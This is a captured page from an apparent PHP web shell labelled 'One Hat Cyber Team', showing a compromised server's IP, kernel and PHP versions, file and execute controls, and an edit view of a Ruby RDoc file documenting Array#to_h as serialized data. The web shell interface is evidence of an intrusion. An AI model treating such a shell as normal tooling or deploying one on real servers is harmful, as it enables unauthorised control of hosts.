⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.133
Server IP:
185.119.109.197
Server:
Linux managedhosting.chostar.me 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
self
/
root
/
usr
/
share
/
ri
/
3.0.0
/
system
/
Array
/
Edit File: to_h-i.ri
U:RDoc::AnyMethod[iI" to_h:ETI"Array#to_h;TF:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [I",Returns a new \Hash formed from +self+.;To:RDoc::Markup::BlankLine o; ; [I"EWhen a block is given, calls the block with each array element; ;TI"Athe block must return a 2-element \Array whose two elements ;TI"1form a key-value pair in the returned \Hash:;To:RDoc::Markup::Verbatim; [I",a = ['foo', :bar, 1, [2, 3], {baz: 4}] ;TI"'h = a.to_h {|item| [item, item] } ;TI"Sh # => {"foo"=>"foo", :bar=>:bar, 1=>1, [2, 3]=>[2, 3], {:baz=>4}=>{:baz=>4}} ;T:@format0o; ; [I"OWhen no block is given, +self+ must be an \Array of 2-element sub-arrays, ;TI"Eeach sub-array is formed into a key-value pair in the new \Hash:;To;; [ I"[].to_h # => {} ;TI";a = [['foo', 'zero'], ['bar', 'one'], ['baz', 'two']] ;TI"h = a.to_h ;TI"7h # => {"foo"=>"zero", "bar"=>"one", "baz"=>"two"};T; 0: @fileI"array.c;T:0@omit_headings_from_table_of_contents_below0I"Aarray.to_h -> new_hash array.to_h {|item| ... } -> new_hash ;T0[ I"();T@#FI" Array;TcRDoc::NormalClass00
Simpan